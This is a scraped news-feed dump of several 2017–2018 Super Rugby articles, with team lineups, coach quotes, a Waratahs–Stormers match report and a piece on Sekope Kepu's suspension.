“David has been absolutely outstanding, that’s a tough call,” Robertson said.

“Dagger deserves an opportunity.

“He is a great player and has been great for us.

“It’s his chance to take an opportunity.

“I thought it was one of Dave’s best games last week, and now it is in Dagger’s court.”

Meanwhile, Blues coach Tana Umaga has stuck with his under fire midfield combination of Rieko Ioane and Michael Collins.

Ioane, the All Blacks winger and Collins, usually a fullback, were brutally exposed in defence by the Hurricanes last weekend as wrecking ball Ngani Laumape ran amok for four tries in a 42-24 win.

But with a long injury list and few other options, Umaga has named a settled line-up barring an enforced change at lock where Ben Nee-Nee replaces the crocked Matiaha Martin.

It will be club great Jerome Kaino’s final match before taking up a contract with Toulouse.

“This game means a lot,” Umaga said.

“We want to send Jerome off in the best possible fashion.

“We are going into a cauldron in Christchurch, but we have to go with eyes wide open and also take confidence from the game last week.

“We’ve worked on the areas that were pretty obvious in terms of our defence but there will be no lack of motivation to play against the Crusaders.

“Our forward effort was good last week but we know it needs to go another notch and I think some of the play by our backs, that in tough times they started to find their confidence.

“For us we have to do well on both sides of the ball.

“We had some individual lapses in defence and that’s something we’ve worked on.

“We need to stick to what we train.

“We need to be consistent in the execution of our plans and finish off opportunities when we create them.
“They are a quality side and have been for a long time but we are excited to get out there and do our best for us and for Jerome.”

CRUSADERS (15-1): Israel Dagg, Seta Tamanivalu, Jack Goodhue, Ryan Crotty, George Bridge, Richie Mo’unga, Mitchell Drummond, Kieran Read, Matt Todd, Jordan Taufua, Sam Whitelock (c), Quinten Strange, Michael Alaalatoa, Andrew Makalio, Tim Perry

Reserves: Sam Anderson-Heather, Wyatt Crockett, Donald Brighouse, Luke Romano, Pete Samu, Bryn Hall, Mitchell Hunt, Manasa Mataele

BLUES (15-1): Matt Duffie, Melani Nanai, Michael Collins, Rieko Ioane, Caleb Clarke, Stephen Perofeta, Augustine Pulu (c), Akira Ioane, Blake Gibson, Jerome Kaino, Ben Nee-Nee, Gerard Cowley-Tuioti, Ofa Tuungafasi, Matt Moulds, Alex Hodgman

Reserves: Ross Wright, Pauliasi Manu, Sione Mafileo, Jacob Pierce, Murphy Taramai, Sam Nock, Bryn Gatland, Tamati Tua

Referee: Federico Anselmi (ARG)

Venue: AMI Stadium

WARATAHS v BRUMBIES in Sydney, Saturday 7.45pm AEST

Waratahs coach Daryl Gibson has the luxury of naming an unchanged line-up from the one that slaughtered the Sunwolves 77-25 last weekend.

The Waratahs have locked up top spot in the Australian conference and are now looking to finish second overall in Super Rugby’s curious playoff system.

“Part of our strategy is to try and keep combinations together, and it’s up to those players to really earn it through their performances,” Gibson said.

“As a coaching team we feel that they are doing that and deserve their spots.

“For both sides there’s real incentive there on the outcome of the game.

“The Brumbies need a bonus point win to have a chance to quality and for us the real carrot of knowing if you progress in this tournament of giving yourself the opportunity through having a home semi-final potentially.”

NSW hadn’t daydreamed ahead to potential quarterfinal opponents.

“We haven’t looked beyond this game,” Gibson said.

“We know there’s a lot riding on this fixture and we want to perform.

“The finals series will take care of itself and we will just wait and see who we get.”

Meanwhile, twin towers Rory and Richie Arnold will start a Super Rugby game together for the first time as Brumbies coach Dan McKellar made two changes.

The 2.08m twins are part of a supersized pack which sees lock Blake Enever switch to blindside flanker in place of the concussed Tom Cusack.

Test prop Scott Sio also makes a welcome return as the Brumbies look to upset the Australian conference leaders and potentially sneak into the top eight finals.

Sio’s return sees loose-head Nic Mayhew — impressive in last week’s loss to the Chiefs — drop back to the bench.

Co-captain Sam Carter remains on the injured list with Christian Lealiifano to again lead the side.

Lealiifano is off contract at the end of the season but McKellar wasn’t stressed about the prospect of losing the five-eighth.

“I’m quietly confident that he’ll be in Canberra for at least another year,” McKellar said.

“I don’t want to go putting any extra pressure on him at the moment around forcing him to make a decision before what’s a big game.”

WARATAHS (15-1): Israel Folau, Cam Clark, Curtis Rona, Kurtley Beale, Taqele Naiyaravoro, Bernard Foley (c), Nick Phipps, Michael Wells, Will Miller, Ned Hanigan, Rob Simmons, Jed Holloway, Sekope Kepu, Damien Fitzpatrick, Tom Robertson

Reserves: Tolu Latu, Harry Johnson-Holmes, Paddy Ryan, Tom Staniforth, Brad Wilkin, Jake Gordon, Bryce Hegarty, Alex Newsome

BRUMBIES (15-1): Tom Banks, Henry Speight, Tevita Kuridrani, Kyle Godwin, Andrew Muirhead, Christian Lealiifano (c), Joe Powell, Isi Naisarani, David Pocock, Blake Enever, Richie Arnold, Rory Arnold, Allan Alaalatoa, Folau Fainga’a, Scott Sio

Reserves: Connal McInerney, Nic Mayhew, Leslie Leuluaialii-Makin, Sam Carter, Lachlan McCaffrey, Matt Lucas, Wharenui Hawera, Lausii Taliauli

Referee: Angus Gardner (AUS)

Venue: Allianz Stadium

LIONS v BULLS in Johannesburg, Saturday 11.05pm AEST

SPRINGBOK winger Courtnall Skosan will make his long awaited return to Super Rugby after being named for his first match of the season against the Bulls on Saturday.

Skosan, who suffered a knee injury in the pre-season training, returned to action in the SuperSport local domestic series but is back for the Lions as they attempt to lock down top spot in the South African conference for the third year running.

His return sees fellow Test winger, Aphiwe Dyantyi, drop back on the bench for the game.

Lions coach Swys de Bruin has also promoted halfback Nic Groom over Springbok No 9 Ross Cronje.

“We are very close (to full strength), we are very blessed to have the right guys at the right time,” de Bruin said.

“I think the only guy missing here from the team at the start of the year, or last year November is Jaco Kriel. The rest of the guys have recovered and we are very pleased about that.

“For exactly the same reason, and we have worked on the rotation system from the word go.

“They are two very good scrumhalves and every game that Nic has played he has done well, and so has Ross since he has been back from his injury.

“It is rotation and a bit tactical as well.”

While the Lions are close to full strength, the Bulls have lost Test playmaker Handre Pollard for their final match of the season.

Pollard picked up a back injury in last weekend’s victory over the Jaguares in Pretoria.

Manie Libbok while start at fly-half in his place, while and Ivan van Zyl completes the halfback combination.

Coach John Mitchell also named RG Snyman as captain as a number of injuries hampered selection, ruling out regular captain Burger Odendaal and stand-in, Pollard.

Winger Travis Ismaiel is fit again and return to the team though, with Divan Rossouw moving to the bench.

Mitchell tweaked the pack as well following their win over the Jaguares last weekend, with Jannes Kirsten moving to lock and Thembelani Bholi coming in at flank.

Mitchell challenged the squad to deliver one more performance to be proud of in this Jukskei derby.

“I asked the team for an extraordinary performance to close the season out,” Mitchell said.

“The other option is to just settle for an easy way to end the season, but that is not who we are as a team.

Snyman also urged on his teammates to end the season well.

“One can expect the Lions to come out firing as they have everything to play for,” he said.

“This will be a massive contest, a typical South African derby if you like.

“This gives us a proper opportunity to show what we stand for as a team one more time.”

LIONS (15-1): Andries Coetzee, Ruan Combrinck, Lionel Mapoe, Harold Vorster, Courtnall Skosan, Elton Jantjies, Nic Groom; Warren Whiteley (c), Cyle Brink, Kwagga Smith, Franco Mostert, Marvin Orie, Ruan Dreyer, Malcolm Marx, Jacques van Rooyen

Reserves: Corne Fourie, Johannes Jonker, Jacobie Adriaanse, Lourens Erasmus, Marnus Schoeman/Hacjivah Dayimani, Ross Cronje, Aphiwe Dyantyi, Howard Mnisi/Shaun Reynolds

BULLS (15-1): Warrick Gelant, Travis Ismaiel, Jesse Kriel, Johnny Kotze, Jamba Ulengo, Manie Libbok, Ivan van Zyl, Hanro Liebenberg, Thembelani Bholi, Marco van Staden, RG Snyman (c), Jannes Kirsten, Conraad van Vuuren, Jaco Visagie, Pierre Schoeman

Reserves: Johan Grobbelaar, Matthys Basson, Mornay Smit, Ruan Nortje, Nick de Jager, Embrose Papier, Boeta Hamman, Divan Rossouw

Referee: Marius van der Westhuizen (SA)

Venue: Ellis Park

SHARKS v JAGUARES in Durban, Sunday 1.15am AEST

SHARKS coach Robert du Preez has made just a couple of changes to his side ahead of their must win match over the Jaguares.

The Sharks must beat the Jaguares, who have already qualified for the playoffs, and hope the Rebels lose to the Highlanders to secure the final place in the top eight standings.

After being rested during their narrow loss to the Stormers in Cape Town, Test loosehead prop, Tendai ‘Beast’ Mtawarira returns to the starting line up.

Number eight Daniel du Preez has been declared fit despite being in major doubt all week ebcause of a neck injury picked up during last week’s defeat.

On the win, Kobus van Wyk replaced injured Test winger S’bu Nkosi.

Meanwhile, with a playoff spot already secured, head coach Mario Ledesma has rung the changes in order to rest his first-choice team ahead of next weekend.

Up front, there is a new front-row as Javier Diaz, Santiago Medrano and Julian Montoya come in while second-row Tomas Lavanini, flank Marcos Kremer and No 8 Juan Manuel Leguizamón are the other new faces in the pack.

The backline is also freshened up as Martin Landajo and Joaquín Díaz Bonilla are the halfbacks, Bautista Ezcurra comes in at No 12, while Sebastian Cancelliere is on the left wing, with Ramiro Moyano moving to fullback.

SHARKS (15-1): Curwin Bosch, Kobus van Wyk, Lukhanyo Am, Andre Esterhuizen, Lwazi Mvovo, Robert du Preez, Louis Schreuder, Daniel du Preez, Jacques Vermeulen, Philip van der Walt, Ruan Botha (c), Tyler Paul, Thomas du Toit, Akker van der Merwe, Tendai Mtawarira

Reserves: Chiliboy Ralepelle, Juan Schoeman, John-Hubert Meyer, Hyron Andrews, Wian Vosloo, Cameron Wright, Marius Louw, Makazole Mapimpi

JAGUARES (15-1): Ramiro Moyano, Bautista Delguy, Matias Moroni, Bautista Ezcurra, Sebastian Cancelliere, Joaquín Díaz Bonilla, Martin Landajo, Juan Manuel Leguizamón, Marcos Kremer, Pablo Matera (c), Tomas Lavanini, Matias Alemanno, Santiago Medrano, Julian Montoya, Javier Diaz

Reserves: Agustin Creevy, Santiago Garcia Botta, Nahuel Tetaz Chaparro, Guido Petti, Javier Ortega Desio, Gonzalo Bertranou, Nicolas Sanchez, Emiliano Boffelli

Referee: Rasta Rasivhenge (SA)

Venue: Kings Park

BYE: STORMERS

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]]> https://briefnews.eu/complete-super-rugby-teams-rebels-injury-hit-tahs-unchanged/feed/ 0 Super Rugby teams: Pocock returns to tackle the Tahs https://briefnews.eu/super-rugby-teams-pocock-returns-to-tackle-the-tahs/ https://briefnews.eu/super-rugby-teams-pocock-returns-to-tackle-the-tahs/#respond Fri, 30 Mar 2018 03:03:16 +0000 http://briefnews.eu/super-rugby-teams-pocock-returns-to-tackle-the-tahs/ SUPERSTAR David Pocock will play his first Super Rugby game since 2016 after being named in the Brumbies starting side to host the Waratahs in Saturday’s crucial derby in Canberra.

Read on for all the latest round seven team news.

CHIEFS v HIGHLANDERS in Hamilton, Friday 5.35pm AEDT

Chiefs coach Colin Cooper has made three changes to his starting side from the one that belted the Sunwolves in Tokyo last weekend.

Liam Messam replaces Lachlan Boshier at blindside flanker, Brad Weber comes in for Te Toiroa Tahuriorangi and Sean Wainui replaces Marty McKenzie.

Wainui will start on the left wing, with Solomon Alaimalo taking McKenzie’s spot at fullback.

Charlie Ngatai is back on the bench after missing three games with a knee injury, while former Fijian basketballer Pita Gus Sowakula is an interesting addition to the reserves in captain Sam Cane’s 100th game for the club.

“We’ve built a lot of confidence from seeing the heart in this group throughout the competition so far,” Cooper said.

“The way we performed against the Sunwolves has also given the attack focus a real boost in confidence.

“The Highlanders are a dangerous team.

“We have to certainly be defensively ready for them because they can attack from their own goal line.

“They put a lot of variety into their game, so we will really get tested by them.”

Meanwhile, Highlanders coach Aaron Mauger has made four changes to his starting lineup, with experienced hooker Liam Coltman ruled out with concussion.

Luckily for Mauger he has a ready made replacement in co-captain Ash Dixon, with Greg Pleasants-Tate providing backup.

Tighthead prop Siate Tokolahi returns to start ahead of youngster Tyrel Lomax while lock Josh Dickson will make his first appearance of the season in place of Tom Franklin.

In the final change, Matt Faddes comes in for Teihorangi Walden and will start at outside centre, with Rob Thompson shifting in a spot to wear No 12.

The Highlanders suffered their first loss of the season against the Hurricanes last weekend.

“The team changes are a reflection of the depth of talent we have in the squad,” Mauger said.

“Josh has played extremely well for the Bravehearts team to earn a start and Matt has shown some nice touches when he has come on for us.

“As a group we are under no illusions as to the challenge this week.

“The Chiefs are an in form side playing in front of their home crowd, so it ought to be another great tussle.”

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CHIEFS (15-1): Solomon Alaimalo, Toni Pulu, Anton Lienert-Brown, Johnny Fa’auli, Sean Wainui, Damian McKenzie, Brad Weber, Taleni Seu, Sam Cane (c), Liam Messam, Tyler Ardron, Brodie Retallick, Angus Ta’avao, Nathan Harris, Aidan Ross

Reserves: Liam Polwart, Karl Tu’inukaufe, Jeff Thwaites, Pita Gus Sowakula, Lachlan Boshier, Te Toiroa Tahuriorangi, Marty McKenzie, Charlie Ngatai

HIGHLANDERS (15-1): Ben Smith (co-captain), Waisake Naholo, Matt Faddes, Rob Thompson, Tevita Li, Lima Sopoaga, Aaron Smith, Luke Whitelock, Dillon Hunt, Elliot Dixon, Josh Dickson, Jackson Hemopo, Siate Tokolahi, Ash Dixon (co-captain), Daniel Lienert-Brown

Reserves: Greg Pleasants-Tate, Aki Seiuli, Tyrel Lomax, Tom Franklin, Shannon Frizell, Josh Renton, Fletcher Smith, Patelsio Tomkinson

Referee: Glen Jackson (NZ)

Venue: FMG Stadium

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REBELS v HURRICANES in Melbourne, Friday 7.45pm AEDT

Rebels coach Dave Wessels has made three changes to his starting side for Friday night’s intriguing trans-Tasman clash with the Hurricanes in Melbourne.

Flanker Lopeti Timani, lock Matt Philip and winger Tom English replace Colby Fainga’a, Geoff Parling and Sefa Naivalu respectively.

Prop Ben Daley returns to the bench after recovering from concussion and fit again hooker Jordan Uelese is also listed among the reserves.

Versatile forward Ross Haylett-Petty also wins selection as a substitute but brother Dane remains unavailable as he continues his recovery from concussion.

“I can honestly say this week has been the toughest selection I’ve ever had to make,” Wessels said.

“We are very fortunate to have so many players fit, it’s been incredibly hard and I’ve had a few sleepless nights.

“In our coaches discussion, I’ve never had less of a consensus than we had this week.

“It’s a great problem to have.

“We’ve been very pleased with how Anaru Rangi has performed in the last two games and he retains his starting spot ahead of Jordy.”

Meanwhile, the Hurricanes have lost one All Blacks forward but regained the services of another as coach Chris Boyd also made three changes to his starting side.

Lock Vaea Fifita has recovered from a minor shoulder injury and has replaced Murray Douglas in the second row.

But offsetting that is the unavailability of openside flanker Ardie Savea, who suffered a painful rib injury in the win over the Highlanders.

He is replaced by Sam Henwood, who will make his Hurricanes debut after playing two games for the Chiefs in 2016.

Centre Matt Proctor is also out with a sternum injury and is replaced by Vince Aso, who scored a spectacular try as a substitute winger last weekend.

Boyd has made a further two changes on the bench with halfback Jamie Booth coming in for Richard Judd and Wes Goosen takes Aso’s spot after recovering from an ankle injury.

“They’re both slow burners,” Boyd said of Savea and Proctor.

“There’s a pretty good chance both of them will be all right for the Sharks next week.

“Like we did with Vaea last week, we decided to rule Ardie out early, just to get real clarity, and that counts as one of his All Black (rest) weeks.

“I doubt in hindsight he would’ve been ready, he’s still a little bit ginger on those ribs.

“Matt’s still a little bit tender as well.

“He possibly could’ve got up for the weekend, but Vince Aso’s not a bad replacement.”

REBELS (15-1): Jack Maddocks, Tom English, Reece Hodge, Billy Meakes, Marika Koroibete, Jack Debreczeni, Will Genia, Amanaki Mafi, Angus Cottrell, Lopeti Timani, Adam Coleman (c), Matt Philip, Jermaine Ainsley, Anaru Rangi, Tetera Faulkner

Reserves: Jordan Uelese, Ben Daley, Sam Talakai, Ross Haylett-Petty, Colby Fainga’a, Richard Hardwick, Michael Ruru, Sefa Naivalu

HURRICANES (15-1): Jordie Barrett, Julian Savea, Vince Aso, Ngani Laumape, Ben Lam, Beauden Barrett, TJ Perenara, Gareth Evans, Sam Henwood, Brad Shields (c), Sam Lousi, Vaea Fifita, Ben May, Ricky Riccitelli, Chris Eves

Reserves: Asafo Aumua, Fraser Armstrong, Jeff To’omaga-Allen, Michael Fatialofa, Reed Prinsep, Jamie Booth, Ihaia West, Wes Goosen

Referee: Angus Gardner (AUS)

Venue: AAMI Park

BLUES v SHARKS in Auckland, Saturday 5.35pm AEDT

Blues coach Tana Umaga has made a whopping seven changes to his starting side to host the Sharks, with superstar Rieko Ioane making a surprise switch to inside centre.

Ioane, the All Blacks winger, had been playing in the No 13 jersey but now moves in another spot to replace the injured Sonny Bill Williams.

Jonathan Ruru and Stephen Perofeta form a new halves pairing while All Blacks Ofa Tu’ungafasi and Matt Duffie have been given one of their two mandated rest games which allows first starts for prop Mike Tamoaieta and winger Jordan Trainor.

Lock Josh Goodhue starts for the injured Scott Scrafton.

The Blues had the bye last week after losing to the Stormers in Cape Town.

“We’ve trained well but we can’t give our opponents the sorts of starts we have given this season,” Umaga said.

“We are looking to be a lot more accurate, to protect our own ball much better, get a good platform upfront and be more accurate in defence.

“We had one good game in South Africa but then let ourselves down.

“At this level of competition, we need to perform for 80 minutes and look to improve with every outing.

“Injuries have cost us some players but we have others coming back.

“We have some players who have been working really hard in training and for the development team that have put their hands up and deserve an opportunity.

“We are looking forward to getting back on home territory at Eden Park and keen to produce a strong performance for our fans.”

Meanwhile, Sharks coach Robert du Preez has made two changes to the starting side that lost 46-14 to the Rebels last week.

Inside centre Andre Esterhuizen returns to the midfield to partner Lukhanyo Am.

Up front, flanker Philip van der Walt will start alongside Tera Mtembu and Jean-Luc du Preez.

BLUES (15-1): Michael Collins, Jordan Trainor, George Moala, Rieko Ioane, Melani Nanai, Stephen Perofeta, Jonathan Ruru, Akira Ioane, Murphy Taramai, Jerome Kaino, Josh Goodhue, Patrick Tuipulotu, Mike Tamoaieta, James Parsons (c), Pauliasi Manu

Reserves: Leni Apisai, Ross Wright, Sione Mafileo, Jimmy Tupou, Kara Pryor, Sam Nock, Bryn Gatland, TJ Faiane

SHARKS (15-1): Curwin Bosch, Sbu Nkosi, Lukhanyo Am, Andre Esterhuizen, Lwazi Mvovo, Robert du Preez, Louis Schreuder, Tera Mtembu, Jean-Luc du Preez, Philip van der Walt, Stephan Lewies, Ruan Botha (c), Thomas du Toit, Akker van der Merwe, Tendai Mtawarira

Reserves: Franco Marais, Juan Schoeman, John-Hubert Meyer, Hyron Andrews, Tyler Paul, Cameron Wright, Marius Louw, Kobus van Wyk

Referee: Nick Briant (NZ)

Venue: Eden Park

BRUMBIES v WARATAHS in Canberra, Saturday 7.45pm AEDT

Wallaby flanker David Pocock will make his long awaited return after being named in the Brumbies starting side to take on old foes the Waratahs at GIO Stadium.

It will be the superstar’s 100th match of Super Rugby, having racked up 69 appearances for the Force before heading to the capital in 2013.

Pocock missed last season as he took a sabbatical and also sat out the early rounds this year as he recovered from knee surgery.

The 29-year-old replaces Tom Cusack at openside flanker in the only change to the starting side from the one that beat the Sharks before the bye.

“I’m sure the lungs will be burning but that’s all part of it,” Pocock said.

“I’ve got got through a good couple of weeks of training and I did a full week during the bye.

“I was a small chance of coming back for the Sharks game but having the bye after it gives you an extra couple of weeks.”

Meanwhile, blockbusting winger Taqele Naiyaravoro will make his first start of the season for the Waratahs.

Naiyaravoro scored two eyecatching tries off the bench in the win against the Rebels before the Waratahs enjoyed the bye last week.

His promotion comes at the expense of outside centre Lalakai Foketi, who drops to the bench, with Curtis Rona moving from the wing to the No 13 jersey.

Halfback Jake Gordon returns from concussion and replaces Mitch Short in the only other change.

“One of the things that we’ve been trying to get this year is some go forward,” Waratahs coach Daryl Gibson said.

“With Naiyaravoro in that lineup, it provides us with an opportunity to use him more as a go forward option and then also see what Curtis can provide at 13.

“Statistically, he’s been one of our most dangerous attacking players and it’s one of the things we’ve been struggling with — getting good gain line.”

Israel Folau will remain on the wing and Bryce Hegarty at fullback.

“We’ve got one of the best aerial catchers in the world and we need to employ that tactic to force teams to try and counter that,” Gibson said.

“So it’s not only looking for Israel in defensive positions catching the ball, but also forward positions.

“It’s something we haven’t utilised well in the past and it’s a tactic we’ll continue to keep using.”

BRUMBIES (15-1): Andy Muirhead, Henry Speight, Tevita Kuridrani, Christian Lealiifano (c), Lausii Taliauli, Wharenui Hawera, Joe Powell, Isi Naisarani, David Pocock, Lachlan McCaffrey, Blake Enever, Rory Arnold, Allan Alaalatoa, Folau Fainga’a, Scott Sio

Reserves: Robbie Abel, Faalelei Sione, Mees Erasmus, Richie Arnold, Tom Cusack, Matt Lucas, Kyle Godwin, Tom Banks

WARATAHS (15-1): Bryce Hegarty, Israel Folau, Curtis Rona, Kurtley Beale, Taqele Naiyaravoro, Bernard Foley, Jake Gordon, Jed Holloway, Michael Hooper (c), Michael Wells, Rob Simmons, Ned Hanigan, Sekope Kepu, Damien Fitzpatrick, Tom Robertson

Reserves: Hugh Roach, Harry Johnson-Holmes, Paddy Ryan, Tom Staniforth, Will Miller, Mitch Short, Lalakai Foketi, Alex Newsome

Referee: Paul Williams

Venue: GIO Stadium

BULLS v STORMERS in Pretoria, Sunday 2.15am AEDT

Bulls coach John Mitchell has made four changes to his side to take on domestic rivals the Stormers, including the return of former Springbok captain Adriaan Strauss.

Strauss will play in his 149th match in the tournament, bettering the 148-match tally record he shared with Victor Matfield, another former Bulls captain.

The veteran will start in place of Jaco Visagie, who moves to the bench, with Ivan van Zyl and Embrose Papier also swapping roles after the latter started at scrumhalf against the Crusaders last Friday.

The same will apply at blindside flank, where Marco van Staden will earn a first start for the year, with Roelof Smith playing off the bench.

“Adriaan has been a true servant of South African rugby and has left his mark with the Bulls, so it is fitting that he could reach that milestone in front of his home crowd,” Mitchell said.

“The Stormers are not travelling here for sentimental reasons though, so neither can we take the field with those. It will be a typical derby no doubt.”

Stormers coach Robbie Fleck has also made four changes to his side.

SP Marais and Dillyn Leyds return from injury to take their place at fullback and wing respectively, while a rib injury to Dewaldt Duvenage means that Justin Phillips will start at scrumhalf, with Jano Vermaak returning from injury to provide cover on the bench.

The only change to the forward pack is a rotational switch between Steven Kitshoff and JC Janse van Rensburg, with hooker Scarra Ntubeni set to make his first appearance this season if he comes on as a replacement.

BULLS (15-1): Warrick Gelant, Travis Ismaiel, Jesse Kriel, Burger Odendaal (c), Divan Rossouw, Handre Pollard, Ivan van Zyl, Tim Agaba, Thembelani Bholi, Marco van Staden, Hanro Liebenberg, Jason Jenkins, Trevor Nyakane, Adriaan Strauss, Pierre Schoeman

Reserves: Jaco Visagie, Frans van Wyk, Lizo Gqoboka, Hendré Stassen, Roelof Smit, Embrose Papier, Manie Libbok, Johnny Kotze

STORMERS (15-1): SP Marais, Dillyn Leyds, EW Viljoen, Damian De Allende, Raymond Rhule, Damian Willemse, Justin Phillips, Nizaam Carr, Cobus Wiese, Siya Kolisi (captain), Pieter-Steph du Toit, Jan de Klerk, Wilco Louw, Ramone Samuels, Steven Kitshoff

Reserves: Scarra Ntubeni, 1JC Janse van Rensburg, Carlu Sadie, Chris van Zyl, Kobus van Dyk, Sikhumbuzo Notshe, Jano Vermaak, Craig Barry

Referee: Marius van der Westhuizen (SA)

Venue: Loftus Versfeld

LIONS v CRUSADERS in Johannesburg, Sunday 10.30pm AEDT

LIONS (TBC)

CRUSADERS (TBC)

Referee: Jaco Peyper (SA)

Venue: Emirates Airline Park

BYES: JAGUARES, REDS, SUNWOLVES

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]]> https://briefnews.eu/super-rugby-teams-pocock-returns-to-tackle-the-tahs/feed/ 0 Watch: Hanigan the hero as Tahs win at death https://briefnews.eu/watch-hanigan-the-hero-as-tahs-win-at-death/ https://briefnews.eu/watch-hanigan-the-hero-as-tahs-win-at-death/#respond Sat, 24 Feb 2018 23:16:43 +0000 http://briefnews.eu/watch-hanigan-the-hero-as-tahs-win-at-death/ THEY left it to the very last play of the game but the NSW Waratahs have started their Super Rugby season with a morale boosting 34-27 victory over the Stormers at Allianz Stadium.

Test flanker Ned Hanigan was the hero as he barged his way over Springboks winger Raymond Rhule to score in the corner.

Only moments earlier it appeared that the Waratahs had blown their chance, as backrower Michael Wells passed the ball over the touchline rather than to star back Israel Folau with just 20 seconds left.

But an overthrown lineout from Stormers hooker Dean Muir allowed the home side one final opportunity and the Waratahs didn’t waste it.

“It was a good team effort there at the finish,” Hanigan told Fox Sports.

“I think Jake Gordon got a very good call from ‘Nard’ (Bernard Foley) on the edge and Harry Johnson-Holmes on debut drew his man and I was in the right place at the right time.”

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In a seesawing contest, it was the home side that scored the opening points as Test playmaker Foley banged over a penalty in the 15th minute.

But, as so often has been the case in Australian rugby over the past few years, the Waratahs mucked up the kick reception and the Stormers hit back immediately, as loosehead prop Steven Kitshoff scored from close range.

Israel Folau then got the modest crowd off their feet as he soared into the air to leap over young flyhalf Damian Willemse and collect a Foley bomb then raced away to score a spectacular try.

A penalty to SP Marais levelled the score at 10-10 in the 22nd minute.

Waratahs skipper Michael Hooper then scored from the back of a rolling maul to hand the home side the lead once more in the 29th minute.

The Stormers weren’t going away without a fight though and flanker Kobus van Dyk scored just inside the touchline after an excellent chip kick from halfback Dewaldt Duvenage. Marais’ sideline conversion meant the Stormers went into the sheds level at halftime.

Hooker Damien Fitzpatrick then gave the Waratahs the perfect start to the second half when he scored out wide.

But costly mistakes and a backpedalling scrum allowed the Stormers to keep pace with the home side, as Marais scored untouched.

Things went from bad to worse soon after as Reds recruit Rob Simmons was yellow carded — and never returned — after taking out a Stormers player in the air from the lineout.

The Stormers were unable to take advantage of the numerical advantage though and Foley banged over his second penalty to give the Waratahs the lead in the 65th minute.

Two minutes later, however, the Stormers were back level thanks to the accurate boot of Marais.

With time ticking down, the Waratahs turned down multiple shots at goal, as they instead went for a try to push the margin out beyond a penalty score.

But the Waratahs continued to shoot themselves in the foot with basic errors.

The irony of the victory was that the final try came in the most unlikely circumstances — a set-piece error from the Stormers.

With a testing two week tour of South Africa and Argentina to come, the victory could not have been better timed for a side looking to re-establish themselves as a competitive force after their worst Super Rugby season ever in 2017.

“It was a really good game,” Hooper said.

“(I was) really happy with our little 10 minutes when we had someone in the bin.

“Managed to grind, get up there and put the pressure back on them.

“Really nice start, but lots to work on though.

“I was impressed with a lot of the guys debuting tonight.

“Came on, made a difference in that second half in particular.

“Really happy that we can get on the bird (plane) tomorrow and get over there and do a job.”

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]]> https://briefnews.eu/watch-hanigan-the-hero-as-tahs-win-at-death/feed/ 0 Risk v reward: Tahs’ Kepu conundrum https://briefnews.eu/risk-v-reward-tahs-kepu-conundrum/ https://briefnews.eu/risk-v-reward-tahs-kepu-conundrum/#respond Thu, 30 Nov 2017 15:16:18 +0000 http://briefnews.eu/risk-v-reward-tahs-kepu-conundrum/ THE Waratahs are considering appealing Sekope Kepu’s suspension by arguing the Brisbane Tens should qualify as a “meaningful” event and count in the three-match ban.

But the conundrum, according to NSW coach Daryl Gibson, is by appealing the dates and matches involved in Kepu’s suspension, the door is also reopened for World Rugby to potentially increase his prop’s suspension.

“We are trying to determine our next step because there is a bit of risk in it,” Gibson said.

Kepu was banned by World Rugby this week until March 4 after getting sent off while playing for the Wallabies against Scotland at the weekend.

Kepu pleaded guilty to leading with a shoulder into a ruck and hitting Scotland’s Hamish Watson in the head. His six-match suspension was reduced to three matches due to a good record and an early plea.

It was determined Kepu’s ban would include one Waratahs trial match and their first two Super Rugby games, against the Stormers at home and Sharks in Durban.

Wallabies management appeared for Kepu in Edinburgh and submitted the Brisbane Tens in February should also count, but the final judgment did not include it.

It is believed there was no reasoning given behind the status of matches in the full written judgment, which provides some measure of scope for NSW Rugby to appeal and get Kepu back a week earlier in Super Rugby.

The New Zealand Rugby Union successfully appealed for the All Blacks’ three-half trial game in August to be included in a four-match suspension for Sonny Bill Williams.

The independent appeals panel’s decision was contentious and World Rugby said they would look to tighten up the definition of a “meaningful” match at the next World Rugby Regulations Committee meeting in September.

It’s unknown whether any formal decisions were made that might rule out the Tens as the equivalent to a full trial match for a Super Rugby team.

“​We are just determining what are the chances that they do recognise the Global Tens as a recognised, endorsed event,” Gibson said.

“That’s the crux of it for us: whether we have grounds to go for it or we just take our medicine. ​Keps has admitted the contact was dangerous and we are not contesting that at all. If we go for an appeal, you open a door for a different finding, they might decide to increase it.”

There is no way to narrowly petition World Rugby on the status of matches without reopening the entire case, said Gibson.

Asked if he might just view the two matches as “enforced rest” for Kepu after another high-minute season for NSW and Australia, Gibson said: “I think I would prefer to have him available.”

Kepu’s presence would be hugely beneficial for the Waratahs in Durban, given the Sharks are usually armed with a strong scrum.

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]]> https://briefnews.eu/risk-v-reward-tahs-kepu-conundrum/feed/ 0 Tahs get Cheik of approval to pursue Cronk https://briefnews.eu/tahs-get-cheik-of-approval-to-pursue-cronk/ https://briefnews.eu/tahs-get-cheik-of-approval-to-pursue-cronk/#respond Wed, 10 May 2017 14:15:18 +0000 http://briefnews.eu/tahs-get-cheik-of-approval-to-pursue-cronk/

Clubs Cronk could still join1:15

NRL: Chat from Nrl 360.

  • May 10th 2017
  • 5 hours ago
  • /video/video.news.com.au/Sport/NRL/Shows/NRL 360/

Michael Cheika has given the Waratahs the green light to pursue Cooper Cronk.

Jim TuckerThe Courier-Mail

WALLABIES boss Michael Cheika gave the green light for the NSW Waratahs to pursue Origin star Cooper Cronk.

“He’s ultra-qualified in rugby league and played rugby in school days,” Cheika said.

“If the Waratahs are interested and he wants to play, good on them, get into it because I’ve no doubt he’d make a success of it.

Michael Cheika has given the Waratahs the green light to pursue Cooper Cronk.

Michael Cheika has given the Waratahs the green light to pursue Cooper Cronk.Source:AAP

“Is the Australian Rugby Union going to get involved, no, it’s for these guys to work out.”

The Waratahs have emerged as a surprised option, alongside six circling NRL clubs, with Cronk heading from Melbourne to Sydney next season to be closer to fiancée Tara Rushton.

Cronk was an accomplished schoolboy rugby player, representing St. Laurence’s College’s first XV for a number of years before being selected in the 2000 Australian schoolboys side.

Originally published as Tahs get Cheik of approval to pursue Cronk

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]]> https://briefnews.eu/tahs-get-cheik-of-approval-to-pursue-cronk/feed/ 0 Winless record won’t cripple Tahs https://briefnews.eu/winless-record-wont-cripple-tahs/ https://briefnews.eu/winless-record-wont-cripple-tahs/#respond Mon, 01 May 2017 18:22:43 +0000 http://briefnews.eu/winless-record-wont-cripple-tahs/

Hooper’s timely Tahs try0:39

Super Rugby: Michael Hooper scored an important first-half try against the Reds.

  • April 29th 2017
  • 2 days ago
  • /video/video.news.com.au/Sport/Rugby Union/Super 15/

Matt Lucas of NSW celebrates victory against the Queensland Reds. Picture: Darren England.

